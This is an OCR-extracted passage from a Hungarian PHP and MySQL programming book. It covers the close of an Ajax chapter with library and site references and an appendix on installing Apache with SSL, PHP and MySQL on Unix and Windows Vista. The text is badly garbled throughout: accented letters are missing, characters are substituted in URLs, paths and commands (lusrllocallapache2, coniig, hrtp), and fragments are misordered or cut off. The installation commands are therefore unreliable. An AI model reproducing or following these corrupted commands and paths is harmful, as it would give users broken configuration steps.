Amikor a felhasznl az egyes knyvjelzk mellett lv .,Trls?" jellngyzetbe kattint, hvjunk meg egy j JavaScript fggvnyt! Mdostsuk a kj torlese. ph p kdot gy, hogy ha az j JavaScript fggvny meghvja, hajtsa vgre a trlsi folyama
_
tot, s jelentse meg a felhasznl szmra a megfelel zeneted Vgezzk el a szksges mdostsokat, hogy a mvelet megfelelen hajcdjon vgre, s a helyes zeneteket jelentse meg az j felhasznli felleten! A fejezetben lertak alapjn nllan is vgre kell tudnunk hajtani a szksges mdostsokat. Mindazonltal a kvetkez oldalakon olyan informciforrsokra szetetnnk felhvni az olvask fi.gyelmt, amelyek sokkal rszletesebben mutatjk be az Ajaxot tmogat weboldalak ltrehozsnak feladatt. Ne feledjk, hogy az Ajax olyan technolgik kombincija, amelyek egyttes alkalmazsval a grdlkenyebb hasznlat lmnyt nyjthatjuk oldalunk ltogatnak! Ehhez gyaktan arra van szksg. hogy az elejtl a vgig teljesen jragondoljuk meglv alkalmazsaink felptst s mkdst.
Tovbbi informci
A fejezetben csupn rintlegesen foglalkozhattunk az Ajaxot tmogat alkalmazsok ltrehozsnak feladatval. A Sams
Teach YourselfAjax,]avaScript and PHP All in One (Tanuljuk meg az Ajax, a JavaScript s a PHP hasznlatr!) cm kiadvny
sokkal rszletesebben trgyalja ezeket a tmakrket (s mg sok msikat), gy ha az ebben a fejezetben lertak felkeltettk r dekldsnket, rdemes lehet beleolvasni. Szmos olyan weboldal ltezik, amit rszben vagy egszben az Ajax alkalmazsokat alkot technolgiknak szemeitek, illetve az olyan kdknyvtrakbl sincs hiny, amelyek azzal segithetik munknkat, hogy megkmlnek bennnket a kerk jbli felfedezstL
34
A W3C mszak jelentsei a Document Object Modelrl: http://www.w3.org/DOM/DOMT R A DOM Scripting Task Force weboldala: http:/l domscripting.webstandards.org/ A Mozilla Developer Network dokumentumai a DOM-rl: http:/l developer.mozilla.org/en/docs/DOM (egyttal JavaScript dokumentumok tekintetben is kivl informciforrs: http:/l developer.mozilla.org/ en/docs/JavaScript)
619
A kvetkezkben nhny npszer knyvtrat sorolunk fel, de ha bngsznk egy kicsit az Ajax-fejleszti oldalakon, rvid id alatt sok msik knyvtrhoz eljutharunk. Ha ezek kzl kivlasztunk egyet (vagy tbbet), amit hasznlni kvnunk, rvi debb id alatt kszthetjk el alkalmazsainkat, mert - ahogy mr utalrunk r- nem kell jra felfedeznnk a kereket. A Prototype JavaScript Framework sszetert Ajax alkalmazsok fejlesztse esern segti munknkat azzal, hogy egy szerbb teszi a DOM-kezelst s a XMLHTTPRequest objektum hasznlatr. Tovbbi informcirt ltogassunk el a hrtp://www.prototypejs.org/ oldalra! A Dojo nylt forrskd eszkzkszlet, amely alapszintJavaScript fggvnyeket, widgetek ltrehozsra szolgl keret rendszert, valamint a kd becsomagolsra s a vgfelhasznlhoz val hatkony eljuttatsra alkalmas mechanizmust knl. Ha szeretnnk rla bvebb informcit kapni, ltogassunk el a http:/l dojoroolkit.org/ oldalra! AMochiKit a DOM-me! vgzert munkhoz szksges s a kimenetet a vgfelhasznl szmra formz fggvnyeket tartalmaz knyvtr. A MochiKit szlogenje kicsit nyersen, de szintn cloz r, hogy hasznlatval nem kevs bossz sgtl kmlhegk meg magunkat: "MochiKit makesJavaScript suck Iess:' AMochiKitben lv fggvnyek s megold sok, a fejleszrk szmra elrhet dokumentcik s aMochiKir hasznlatval ltrehozott mintaprojektek mind emlrs re rdemesek. Tovbbi informcirt menjnk a hrtp://mochikir.com/ oldalra!
Ajaxfejleszti weboldalak
Az Ajax-fejlesztsrl vgs soron gy tanulharunk a legtbbet, ha kiprbljuk. Gyjrsnk ssze kddarabkkar, gondoljuk
ki, hogyan lehet azokat meglv alkalmazsainkba beilleszteni, s tanuljunk azokrl, akik mr rgebb ta dolgoznak ezekkel a technolgikkal l Az albbi oldalakon rengeteg segitsger kaphatunk, hogy hogyan fogjunk hozz az Ajax-fejleszrsnek: Az Ajaxian fejleszti portl hreket, cikkeket, oktatanyagokat s minrakdokar knl a kezd s rapasztalt fejlesztknek. A portl a hrtp:/ /ajaxian.com/ oldalon rthet el. Az AjaxMarters rszleres s tartalmas cikkeket, rsokat kzl az Ajax-fejlesztsrL Tovbbi informcirt ltogassunk el a hrtp://www.ajaxmarters .com/ oldalra! Az Ajax Lines egy msik fejleszti portl, ami az Ajaxszal kapcsolaros hrekre s rsokra murar hivatkozsokbl ll. A portlt a hrtp://www.ajaxlines.com/ cmen rjk el.
34
A fggelk
A PHP s
a
MySQL teleptse
Az Apache, a PHP s a MySQL opercis rendszerek s webszerverek sokfle kombincijn rhet el. Ebben a fggelkben csupn nhny platformra vonatkozan mutatjuk meg, hogyan kell az Apache-t, a PHP-t s a MySQL-t telepteni s bellta ni: a Unix s a Windows Vista opercis rendszeren elrhet leggyakoribb lehetsgeket tekintjk t. Az albbi fbb tmakrkkel foglalkozunk: A PHP futtatsa CGI rtelmezknt vagy modulknt Az Apache, az SSL, a PHP s a MySQL teleptse Unix alatt Az Apache, a PHP s a MySQL teleptse Windows alatt
Megjegyzs: A PHP Microsoft Internet Information Serverre vagy ms webszerverre teleptsnek folyamatval itt s most nem foglalkozunk. Ha lehetsg van r, az Apache webszerver hasznlatt javaso!juk. A Microsoft IIS-re vagy Personal Web Serverre (PWS) teleptsrl a PHP online kziknyvnek http://www.php.net/manual!en/install.windows.iis.php oldaln olvashatunk.
Jelen fggelkben olyan teleptsi tmutatt kivnunk adni, amely lehetv teszi, hogy tbb weboldalt zemeltessnk
egyeden webszerveren. Egyes oldalakon - pldul a knyv nmelyik projektjben - Secure Sockets Layer {SSL) szksges az e-kereskedelmi megoldsokhoz. A weboldalak tbbsgt kdokkal vezreljk, hogy adatbzisszerverhez kapcsoldva adatokat nyerjenek ki belle, s feldolgozzk azokat. Rengeteg olyan PHP-felhasznl ltezik, akinek soha, egyeden gpre sem kell PHP-t teleptenie. Pontosan ezrt ke rlt ez az anyag ide, a fggelkbe, nem pedig a PHP
internetkapcsolattal s teleptett PHP-vel rendelkez, megbzhat kiszolglhoz, ha kivlasztunk egyet a szmtalan trhelyszolgltat kzl, s ignybe vesszk szolgltatsait. Attl fggen, hogy milyen clbl teleptjk a PHP-t, eltr dntseket hozhatunk. Ha van egy olyan gpnk, amelyik llandan a hlzathoz van csatlakoztatva, s ezt szeretnnk lesben mkd kiszolglknt hasznlni, akkor szmunkra a tel jestmny lesz fontos. Ha fejleszts cljra kivnunk egy szervert ignybe venni, hogy programozhassunk, s tesztelhessk rajta kdjainkat, akkor a legfontosabb, hogy az lesben zemel kiszolglhoz hasonl - vagy azzal teljesen megegyez - konfigur cival zemeljen. Ha ASP-t s PHP-t szndkozunk ugyanazon a gpen futtatni, bizonyos korltokat figyelembe kell vennnk.
Megjegyzs: A PHP rtelmez Juttathat modulknt vagy klnll CGI (Common Gateway Interface, azaz kzs Yr interfsz) binris fjlknt. A teyestmny tern jelentkez elnyei miatt ltalban a modul verzit preferyk. A CGI verzit olyan kiszolglkhoz hasznyk, amelyeken a modul verzi nem elrhet, vagy azrt vlaszYk, rnert lehetv teszi az Apache felhasznlknak, hogy klnbz Jelhasznli azonostk alatt klnbz PHP alap oldalakatJuttassanak.
Ebben a fggelkben a modul verzit mutatjuk be a PHP futtatsnak elsdleges mdszereknt.
622
35. fejezet
A forrsbl val teleptsnl idt kell sznni a letltsre, a teleptsre s a konfigurlsra, s az els nhny alkalommal ta ln jogosan idegenkednk tle. Ebben az esetben azonban celjes mrckben ellenrzsnk alatt carejuk a teleptse. Mi vlaszt juk ki, hogy mit teleptsnk, milyen verzit hasznljunk, s milyen konfigurcis direktvkat lltsunk be.
Forrs teleptse
Teleptsk az Apache-t, a PHP-t s a MySQL-t unixos krnyezetbe! Elszr is el kell dncennk, hogy a fenti ttin tlmen en milyen extra modulokat kivnunk telepteni. Mivel a knyvben bemutatott pldk egy rszben biztonsgos szerverc hasz nlrunk a webes tranzakcikhoz, SSL-t tmogaeni kpes kiszolglt kell telepteni. A knyv cljainak megfelel PHP konfigurci tbb-kevsb megegyezik az alaprcelmezettel, m munknkhoz a gd2 knyvtrra is szksgnk van. Ez csak egyike a PHP-hoz elrhet szmtalan knyvtrnak. Azrt vettk be ezt is a teleptsi folyamatba, hogy lssuk, hogyan tehetnk a PHP-n bell ms knyvtrakat is elrhetv. A legebb Unix program fordtsa hasonl folyamat szerinc trtnik. j knyvcr teleptse utn ltalban jra kell fordtani a PHP-t, ezrt ha rudjuk elre, hogy mire van szksgnk, rdemes gpnkre az sszes knyverat telepteni, majd utna elkezdeni a PHP modul teleptst. A kvetkezkben a SuSE Linux szerverre val telepts folyamatt mucatjuk be, de lersunk elg ltalnos ahhoz, hogy ms Unix kiszolglkan is hasznt vegyk. Kezdskm gyjtsk ssze a teleptshez szksges fjlokat! Az albbi elemekre lesz szksgnk: Apache (http://httpd.apache.org/) - A webszerver OpenSSL (http://www.openssl.org/)-Nylt forrskd eszkzkszlet a Secure Sockets Layer megvalstsra MySQL (http://www.mysql.com/)-A relcis adatbzis PHP (http://www.php.net/)-A szerveroldali programozsi nyelv ftp://ftp.uu.net/graphics/jpeg/-A PDFlib-hez s gd-hez szksges JPEG knyvtr htcp://www.libpng.org/pub/png/libpng.hcml - A gd-hez szksges PNG knyvtr http://www.zlib.net/- A fenti PNG knyvtrhoz szksges zlib knyvtr http://www.libriff.org/-A PDF!ib-hez szksges TIFF knyvtr
Amennyiben hasznlni kivnjuk a ma il ( ) fggvnyt, kell, hogy legyen teleptve egy MTA (maii transfer agent, azaz levlto vbbt gens), m ennek folyamatra most nem trnk ki. Felttelezzk, hogy hozzfrnk a kiszolgl gykrmappjhoz, s rendszernkre teleptve vannak a kvetkezk: gzip vagy gunzip gc c s GNU make
Ha kszen llunk a teleptsi folyamatra, elszr is tltsnk le nnden tar forrsfjlt egy ideiglenes knyvtrba! Olyan meghajtra rakjuk ket, ahol megfelel trhely ll rendelkezsnkre! Pldnkban a lusrlsrc ideiglenes knyvtrat hasznl juk. A jogosultsgi problmk elkerlse rdekben root ( rendszergazdai) felhasznlkm tltsk le a fjlokat!
MySQL teleptse
Ebben a rszben bemutatjuk, hogyan hajtsuk vgre a MySQL binris teleptst. Az ilyen tpus telepts a fjlokat automati kusan helyezi el a megfelel helyekre. Az albbi knyvtrakat vlasztottuk a tri tbbi tagjnak teleptshez: lusrllocallapache2 lusrllocallssl
623
Az alkalmazsokat gy tudjuk msik knyvtrakba telepteni, ha telepts eltt megvltoztatjuk az eltag-belltst (prefix). Vgjunk bele! Az su hasznlatval vltsunk root felhasznlra:
$
su root
Ezt kveten gpeljk be a root felhasznl jelszavt! Majd vltsunk arra a knyvtrra, ahol a forrsfjlokat eltroltuk! Ese tnkben a kvetkezt kell begpelni:
#
cd /usr/src
A MySQL azt nlja, hogy ne nullrl kezdve vgezzk el a fordtst, hanem tltsk le a MySQL egy binris csomagjt. Hogy melyik verzit vlasztjuk, az attl fgg, hogy rnire szeretnnk hasznlni. Br a MySQL"prerelease" verzii ltalban igen stabilak, lesben mkd oldalon nem szoks hasznlni ket. Ha viszont sajt gpnkn tanulunk vagy ksrleteznk, nyugod tan dolgozhatunk ezekkel a verzikkal is. Az albbi csomagokat kell letlteni:
MySQL-server-VERZI.i386.rpm MySQL-Max-VERZI.i386.rpm MySQL-client-VERZI.i386.rpm
(A VERZI sz helyre kerl a konkrt verziszm. Akrmelyik verzi mellett dntnk, gyeljnk, hogy hozz megfelel kszletet vlasszunk!) Ha ezen a gpen kvnjuk ftmatni a MySQL klienst s szervert, illetve ms programokba-pldul PHP-be - be kvnjuk fordtani a MySQL tmogatst, akkor mindhrom csomagra szksgnk lesz. Az albbi utastsokat begpelve teleptsk a MySQL szervereket s a klienst:
rpm -i MySQL-server-VERZI.i386.rpm rpm -i MySQL-Max-VERZI.i386.rpm rpm -I MySQL-client-VERZI.i386.rpm
A MySQL szervernek innentl mkdkpesnek kell lennie. Itt az id, hogy jelszt lltsunk be a root felhasznlnak! A kvetkez parancsban ne mulasszuk el lecserlni u j -j elszo kfejezst az ltalunk kvlasztott jelszra, msklnben az uj -j els z o lesz a root jelszava:
mysqladmin -u root password 'uj -j elszo'
az
Teleptsekor a MySQL automatikusan ltrehoz kt adatbzist. Az egyik a felhasznlkat, a hosztokat s az adatbzis-jo gosultsgokat az aktulis kszolgln szablyoz mysql tbla, a msik pedig egy teszt adatbzis. A parancssoron keresztl a kvetkezkppen ellenrizhetjk adatbzisunkat:
#
mysql -u root -p Enter password: mysql> show databases;
+--------------------+ l l l 2
Database
+--------------------+
mysql test
+--------------------+
rows in set
(0.00
sec)
A MySQL-bl kilpshez gpeljk be: qui t vagy \q ! Az alaprtelmezett MySQL-konfigurci brmely felhasznl szmra felhasznli nv s jelsz nlkl elrhetv tes:z;i a rendszert. Ezt az llapotot rtelemszeren nem s:z;abad fenntartani. A MySQL rendbe raksnak utols ktele:z; eleme a nvtelen (anonim) felhas:znlk trlse. Ehhez indtsuk el a parancs sort, majd gpeljk be a kvetkez sorokat:
#
mysql -u root -p mysql> use mysql mysql> delete from user where User="; mysql> quit
lptessk hatlyba a vlto:ztatsokat! Amennyiben replikcit s:zeretnnk hasznlni MySQL ks:zolglnkon, a binris naplzst is be kell kapcsolnunk. Ehhez elszr is lltsuk le a szervert:
mysqladmin -u root -p shutdown
624
35. fejezet
Hozzuk ltre az letclmy.cnf nev fjlt, ami a MySQL-belltsainkat fogja trolni! Egyelre csupn egyetlen bellrsra van szksgnk, de akrhnyat bellthatunk itt. A belltsok teljes listjt a MySQL kziknyvben talljuk. Nyissuk meg a fjlt, s gpeljiik be a kvetkezket:
[mysqld] log-bin
Menrsiik el a fjlt, majd zrjuk be! Ezt kveten a mysqld_safe futtatsval indtsuk jra a kiszolglt!
A PHP teleptse
Tovbbra is root felhasznl kell, ha nem azok vagyunk, az su segtsgvel vltsunk vissza r! Mieltt teleptennk a PHP-t, az Apache-t kanfigurlnunk kell, hogy tudja, mit hol tall. {Az Apache szerver belltsakor visszatrnk erre a tmra.) Menjnk vissza a knyvtrhoz, ahova a forrskdot helyeztiik:
JI JI JI JI # # #
cd lusrlsrc gunzip -c httpd-2.2.9.tar.gz cd httpd-2.2.9
tar xvf -
lconfigure --prefix=lusrllocallapache2
tar xvf
A PHP configure parancsval itt is szmtalan belltst hajthatunk vgre. A . l configure --help l less begpel svel kapott segtsg alapjn hatrozhatjuk meg, hogy mit kvnunk hozzadni. Jelen esetben a MySQL, az Apache, a PDFtib s a gd tmogatst kvnjuk bekapcsolni. rdemes megemlteni, hogy a most kvetkezk egyetlen parancs. rhatjuk az egszet egy sorba, vagy - ahogy itt is szerepel - hasznlhatjuk a folytats karaktert, a fordtott perjelt {\). Ez a karakter lehetv teszi, hogy az olvashatsg rdekben tbb sorba rjunk egy hossz utastst:
#
.lconfigure --prefix=lyourlpathltolphp --with-mysqli=lyourlpathltolmysql coniig --with-apxs2=1usrllocallapache2lbinlapxs --with-jpeg-dir=lpathltoljpeglib --with-tiff-dir=lpathlto.tiffdir --with-zlib-dir=lpathltolzlib
\ \
\ \ \
--with-imap=lpathltolimapcclient --with-gd
vagy
ep php.ini-recommended lusrllocallliblphp.ini
A fenti kt parancsban lv php.ini fjlokban eltr belltskszleteket tallunk. Az els, a php.ini-dist elssorban fejlesztsi clra hasznlt gpekre val. Ebben pldul be van kapcsolva a display_ errars direktva. Ez megknnyti a fejlesztst, de lesben mkd gp esetn nem igazn kvnatos. Arnikor knyvnkben a php.ini fjlbeli valamelyik bellts alaprtelmezett rtkre hivatkozunk, akkor a php.ini ezen verzijban tallhat bellrsra gondolunk. A msodik vltozat, a php. ini-recommended lesben miikd gpekre val. A PHP-belltsokat a php.ini fjlt szerkesztve mdosthatjuk. Szmtalan belltst megvltoztathatunk, rdemes nh nyat ezek kzl megemlteni. Ha kdjainkbl szeretnnk e-maileket kldeni, be kell lltanunk a sendmail_path rtkr. Itt az ideje, hogy belltsuk az OpenSSL-t! Ez az, amit ideiglenes tanstvnyok s CSR fjlok ltrehozsra fogunk hasz nlni. A --prefix bellts hatrozza meg a telepts f knyvtrt:
# # ll
gunzip -c openssl-0.9.8h.tar.gz cd openssl-0.9.8h .lconfig --prefix=lusrllocallssl
tar xvf -
625
Ezt kveten konfigurljuk az Apache-t a fordtshoz. Az --enable-so konfigurcis bellts teszi lehetv a dinami kus megosztott objektumok (DSO), az
--enable-ssl
rugalmassga rdekben az internetszolgltatk s a csomagokat kiad cgek szmra ersen ajnlott a DSO funkci hasznla ta. Megjegyezzk azonban, hogy az Apache nem minden platforrnon tmogatja a DSO-t.
# cd
.. /httpd-2.2.9
# SSL_BASE=../openssl-0.9.8h \
./configure
\ \
Before you install the package you now should prepare the SSL certificate system by running the 'make certificate' command. For different situations the follawing variants are provided:
(dummy self-signed Snake Oil cert) (test cert signed by Snake Oil CA) (custom cert signed by own CA) (existing cert)
[KEY=/path/to/your.key]
Use TYPE=dummy when you're a vendor package maintainer, the TYPE=test when you're an admin but want to do tests only, the TYPE=custom when you're an admin willing to run a real server and TYPE=existing when you're an admin who upgrades a server.
(default)
or ALGO=DSA to select
&
+---------------------------------------------------------------------+
Most mr ltrehozhatunk egyni tanstvnyt. Ehhez meg kell adni cmnket, cgnk adatait, illetve nhny tovbbi dolgot. A kontaktadatoknl rdemes a valdi adatokat megadni. A tbbi krdsnl az alaprtelmezett vlaszok is tkletesen megfelelnek:
# make certificate TYPE=custom
You now have successfully built and installed the Apache 2.2 HTTP server. To verify that Apache actually works correctly you now should first check the (initially created or preserved) configuration files
626
35. fejezet
/usr/local/apache2/conf/httpd.conf
and then you should be able to irnmediately fire up Apache the first time by running:
/usr/local/apache2/bin/apachectl start
Most pedig ellenrizzk, hogy az Apache s a PHP mkdik-e! Ahhoz azonban, hogy a konfigurcihoz hozzadhassuk a PHP tpust, szerkeszteni szksges a httpd. conf fjlt.
llomnyunkat az /usr l
Ezzel eljutottunk odig, hogy megnzhetjk, vajon mkdik-e Apache szervernk. Elszr is indtsuk el a kiszolglt SSL tmogats nlkl, hogy felll-e! Ezt kveten ellenrizzk a PHP tmogatst, s lltsuk le, majd indtsuk el a kiszolglt be kapcsolt SSL tmogatssal, hogy meggyzdhessnk rla, minden mkdik-e! A coniigtest utastssal ellenrizzk, hogy a konfigurci megfelelen lett-e belltva:
t cd /usr/local/apache2/bin t . /apachectl coniigtest
Syntax
OK
./apachectl start:
Ha minden jl ment, az A. l brn lvhz hasonlt fogunk ltni, amikor bngszvel kapcsoldunk a kiszolglhoz.
Itworks!
fjlt, benne
az
si tvonal a korbban vlasztott knyvtreltagtl (prefix) fgg. Ezt a httpd.conf fjlban vltoztathatjuk meg: A kpernyn megjelen kimenet az A.2 brhoz hasonl kell, hogy legyen.
627
wto---=
.,.
::.
'::':?;
Az SSL mkdik
Apache 2.2 alatt pusztn annyit kell tennnk az SSL bekapcsolshoz, hogy a httpd.conf fjlban a httpd-ssl.conf fjira vonatkoz szably ell eltvoltjuk a megjegyzs jelet. Az albbi sor helyett: # Include conf/extra/httpd-ssl.conf ez szerepeljen a httpd. conf fjlban:
Include conf/extra/httpd-ssl.conf
Szmtalan belltst megvltoztathatunk a httpd-ssl.conf fjlban is; tovbbi informcirt olvassunk bele a http://httpd.apache.org/ docs/2.2/ mod/ mod_ssl.html oldalon elrhet Apache-dokumentcibal A konfigurcis vltoztatsok utn egyszeren lltsuk le, majd indtsuk el a kiszolglt: # /usr/local/apache2/bin/apachectl stop # /usr/local/apache2/bin/apachectl start Prbljuk, hogy mkdik-e; ehhez kapcsoldjunk bngsznkkel a kiszolglhoz, s az albbiakat begpelve vlasszuk ki a https protokollt:
https://szervernk.domainnk.hu
vagy
http://xxx.xxx.xxx.xxx:443
Ha minden rendben van, a kiszolgl elkldi a tanstvnyt a bngsznek, hogy biztonsgos kapcsolatot hozzon ltre. Ez arra kszteti a bngszt, hogy elfogadtassa velnk a st magunk ltal alrt tanstvnyt. Ha olyan tanstvnyrl lenne sz, amelyet a bngsznk ltal megbzhatnak tekintett tanst szervezet lltott volna
Jelen esetben mi hoztuk ltre s rtuk al sajt tanstvnyunkat. Egyelre nem kvntunk valdi tanstvnyt beszerezni, mivel most mg csak arrl szeretnnk megbizonyosodni, hogy minden megfelelen mkdik. Ha Internet Explorert vagy Firefoxot hasznlunk, lakat ikont lthacunk az llapotsoron. Ez jelzi, hogy biztonsgos kapcsolat jtt ltre. A Firefoxban hasznlt ikont az A.3 brn lthatjuk; a lakat bngsznk -jobb vagy bal- als sarkban jelenik meg.
www.googlo.com
A.3 bra: A bngszk lakat ikont megjelentve jelzik, hogy az ppen megtekintett oldal SSL kapcsolaton keresztl jtt. A teleptett PHP modulok megosztott objektumknt hasznlathoz nhny tovbbi lpsre van szksg. Elszr is msoljuk a ltrehozott modult a PHP extensions knyvtrba, ami minden bizonnyal az
/u sr/local/lib/php/extensions
extension name.so
628
35. fejezet
Megjegyzs: A PHP 5.3-as verzija ta nem tmogaa a Windows 2000-nl rgebbi Windows opercis rendsureket;
a PHP 5.3 csak a Windows 2000, a Windows Server 2003, a Windows Server 2008 s a Windows Vista (s termszetesen az ezeknl jabb) opercis rendszert tmogaa.
Lass internetkapcsolat esetn rdemes lehet a prograrnak CD-n lv verziit telepteni, m azok a legfrissebbnl egy vagy akr tbb verzival is rgebbiek lehetnek.
A
Az albbi teleptsi utastsok Windows Vista opercis rendszerre vonatkoznak. Kezdjk a MySQL elksztsvel! A Windows Essentials msi teleptfjlt a http://www.mysql.com cmrl tlthetjk le. Ha dupln rkattintunk erre az llomnyra, elindul a telepts. A telept varzslval ksrt folyamat els nhny kpernyjn ltalnos informcikat olvashatunk a teleptsrl s " a MySQL-licencrl. Olvassuk el ezeket, s a"Continue {Folytats) gombra kattinrva lpkedjnk vgig rajtuk! Az els fontos dnts az lesz, amikor a telepts tpust kell kivlasztanunk- typical {tipikus), compact {kompakt) vagy custom {egyni). A tipikus tkletesen megfelel lesz, ezrt hagyjuk meg azt {ez a telepts alaprtelmezett tpusa), majd a"Next" {Tovbb) gombra kattinrva folytassuk a teleptst! Ha befejezdn a telepts, menjnk a MySQL Configuration Wizardba {konfigurcis varzsl), hogy ltrehozzuk az " ignyeinknek megfelel, egyni my. ini f:ijlunkat! A varzslt gy rjk el, ha a"MySQL Server Now jellngyzetbe, majd " a"Finish {Ksz) gombra kattintunk. A MySQL Configuration Wizard klnbz kpernyin megjelen konfigurcis belltsok kzl vlasszuk ki a neknk megfelelked A belltsokrl a http://dev.mysql.com/doc/refman/5.0/en/index.html oldalon elrhet MySQL kziknyv ben tallunk rszletes lerst. Ha befejeztk a konfigurlst- ne feledkeznk meg arrl sem, hogy jelszt hatrozzunk meg a root felhasznlnak!-, a varzsl elindtja a MySQL szolgltatst. Miutn teleptettk a kiszolglt, a Vezrlpulton tallhat Services {Szolgltatsok) segdalkalmazs segtsgvel llt hatjuk le, indthatjuk el, illerve llthatjuk be, hogy automatikusan elinduljon. A Services elindtshoz kattintsunk a Start " gombra, majd vlasszuk ki a Control Panelt {Vezrlpultot)! Kattintsunk dupln az"Administrative Tools {Rendszergazdai " eszkzk), majd a"Services gombral A Services segdalkalmazst az A .4 brn ltjuk. Ha mdostani szeretnnk brmelyik MySQL-belltst, elszr le kell lltani a szolgltatst, startup paramterknt megadni azokat, majd jraindtani a MySQL szolgltatst. A MySQL-t lelltani is a Services segdalkalmazsban, tovbb a NET STOP MySQL vagy mysqladmin shutdown paranccsal tudjuk. A MySQL-lel szmtalan parancssori segdalkalmazshoz jutunk. Ezek egyikhez sem knny elrni- kivve, ha a MySQL binris knyvtr benne van a PATH vltozban. Ennek a krnyezeti vltoznak az a feladata, hogy kzlje a Windows-zal, hol keresse a futtathat programokat. A windowsos parancssorban a gyakran hasznlt parancsok tbbsge, kztk pldul a dir s a cd is be van prve a cmd. exe-be. Msikak, pldul a forrnat s az ipconfig sajt futtathat llomnyokkal rendelkeznek. Nem lenne knyelmes, ha a C: \WINNT\system32\format utastst be kellene gpelni, ha formzni szeretnnk a lemezt. Az is knyelmetlen len ne, ha a MySQL monitor futtatshoz be kellene gpelni, hogy C: \mysql\bin\mysql.
629
Az alapvet Windows-parancsokhoz tartoz, futtathat fjlok, pldul a forrnat. exe knyvtra automatikusan megta llhat a PATH vltoznkban, gy elg egyszeren begpelni azt, hogy forma t. Hogy ugyanilyen knyelmesen jrhassunk el a MySQL parancssori eszkzkkel is, hozz kell adni azokat ehhez a vltozhoz. Kattintsunk a Start gombra, s nyissuk meg a Vezrlpultot! Kattintsunk dupln a.System" gombra, majd menjnk az "Ad vanced" (Specilis) flre! Ha az "Environment Variables" (Krnyezeti vltozk) gombra kattintunk, rendszernk krnyezeti vltozit megjelent prbeszdablak nylik meg. Ha dupln kattintunk a PATH-ra, szerkeszthetjk a vltoz tartalmr. Tegynk pontos vesszt az aktulis elrsi tvonal vgre, hogy elvlasszuk vele az j bejegyzst az elztl; majd gpeljk be a c: \mysql\b in elrsi tvonalat! Az OK gombra kattintssal eltroljuk ezt a kiegsztst a gp rendszerler adatbzi sban (registry). Szmtgpnk kvetkez jraindtsa utn elg lesz a mysql-t begpelni, nem kell kirni azt, hogy C:\
mysql\bin\mysql.
Th!!listllloiiDn
aiDwycatamcdfy,,.-,ar rHTlP5e'wr2.2.9.Toan,ddiNat.
..
A teleptprogram a kvetkezket kri: A hlzat nevt, a kiszolgl nevt s a rendszergazda e-mail cmt. Ha lesben mkd szervert kvnunk ltrehozni, tudni kell vlaszolni ezekre a krdsekre. Ha szemlyes hasznlatra sznjunk a kiszolglt, nem szmt, hogy mit vla szolunk. Megadni, hogy szolgltatsknt kvnjuk-e furtatni az Apache-t. Akrcsak a MySQL esetben, irt is gy egyszerbb a te-
A telepts tpust. A Complete, azaz teljes telepts kivlasztst ajnljuk, de ha egyes komponenseket, pldul a dokumentcit ki szeretnnk hagyni, az egyni (Custom) teleptse is vlaszthatjuk. A knyvtrat, ahova az Apache-t teleptjk. (Az alaprtelmezert lehetsge a C:\Program Fil es\Apache
Software Foundation\Apache2 . 2.
A fenti belltsok megadsa utn a rendszer telepti s elindtja az Apache szervert. Elindulsa utn az Apache a 80-as portot figyeli (kivve, ha megvltoztatjuk a konfigurcis fjlokban a Port, a Listen vagy a SindAddress direktvt). A kiszolglhoz val csatlakozs s az alaprtelmezett oldal elrse rdekben indtsuk el a bng sznket, majd gpeljk be az albbi URL-t:
http://localhost/
630
35. fejezet
Vlaszkm az A.l brn ltharhoz hasonl, dvzl oldalnak kell megjelennie. Ha semmi sem trrnik, vagy hibt kapunk, nzzk meg a logs knyvtr error.log fjljt! Ha a szmrgp nem rendelkezik inrernetkapcsolattal, a fenti helyett hasznljuk az albbi URL-t:
http:/!127.0.0.1/
Ez az IP-cm a localhostot jelenri. Ha a 80-asrl eltr szm porrot hasznlunk, az URL vghez hozz kell fznnk a :port_ s zrna-t. Ne feleelj k, hogy az Apache nem osztozhat ugyanazon a porron ms TCP /IP alkalmazssal! Az Apache szolgltatst a Start menbl indthatjuk el, illerve llthatjuk le: az Apache Apache HTTP Serverkne jelenik meg " a"Programs (Programok) almenben. A"Control Apache Server" cm alatt tudjuk elindtani, lelltani s jraindtani a szerverr. Az Apache teleptse utn szksg lehet r, hogy szerkesszk a conf knyvtrban lv konfigurcis fjloka t. A htt pd.
conf
a msik pedig a knyvtrak gyjtemnye (pecl-5. 2. 6-Win32. zip vagy ehhez hasonl).
Elszr is csomagoljuk ki a ZIP fjlokat egy neknk tetsz knyvtrba! A megszokott helye ennek a knyvtrnak a c:\
php,
A PECL knyvtrakat gy telepthetjk, ha kicsomagoljuk a PECL fjlt a bvtmnyeinket tartalmaz knyvtrunkba. Ha alapknyvtrkm a c:\php-t hasznljuk, akkor ez a c:\php\ext \lesz. Ekkor kvessk az albbi lpseket: l. A f knyvtrban ltharunk egy php. exe s egy php5ts.dll nev fjlt. A PHP CGI-knt futtatshoz van szks gnk ezekre a fjlokra. Ha viszone inkbb SAPI modulknt futtatnnk a PHP-t, a webszerverhez megfelel DLL fjlt kell hasznlnunk, ami jelen esetben a php5apache2 _2.dll . A SAPI modulok gyorsabban s knnyebben biztonsgoss tehetk; a CGI verzi pedig lehetv teszi, hogy parancs sorbl futtassuk a PHP-t. Megint csak rajrunk mlik, hogy melyik lehetsget vlasztjuk
2.
lltsuk be a php.ini konfigurcis fjlt! A PHP kt elre elksztett fjlt tartalmaz: php.ini-dist s php.
ini-recornrnended A .
hasznlt kiszolglkon pedg a php.ini-recornrnended vltozatot javasoljak. Msoljuk le a neknk megfelel llo mnyt, majd nevezzk t php.ini-re! 3. Szerkesszk php.ini fjlunkat! Szmtalan belltst tartalmaz, sokkal kzlk egyelre nem szksges foglalkozni. A most mdostandk az albbiak: Vltoztassuk meg az extension_dir drektvt, hogy arra a knyvtrra mutasson, amelyikbe a bvtmnyeink DLL fjljait pakoltuk! Szoksos telepts esetn ez a C:\PHP\ext. gy php.ini fjlunkba ez kerl:
extension_dir = c:/php/ext
A doc_root direktvt llitsuk a gykrknyvtrra, amelybl webszervernk mkdik! Amennyiben Apache-t hasznlunk, ez minden bizonnyal a
doc root = "c:/Prograrn Files/Apache Software Foundation/Apache2.2/htdocs"
lesz. Vlasszuk ki a futtatand bvtmnyeked Azt javasoljak, hogy ennl a pontnl csak arra figyeljnk, hogy a PHP mkdjn; a bvtmnyeket akkor is hozzadhatjuk majd, amikor tnylegesen szksg lesz rjuk. Bvtmny hoz zadshoz nzzk meg a"Windows Extensions" alatti listt! Olyan sorokat fogunk itt ltni, minr az
;extension=php_pdf.dll
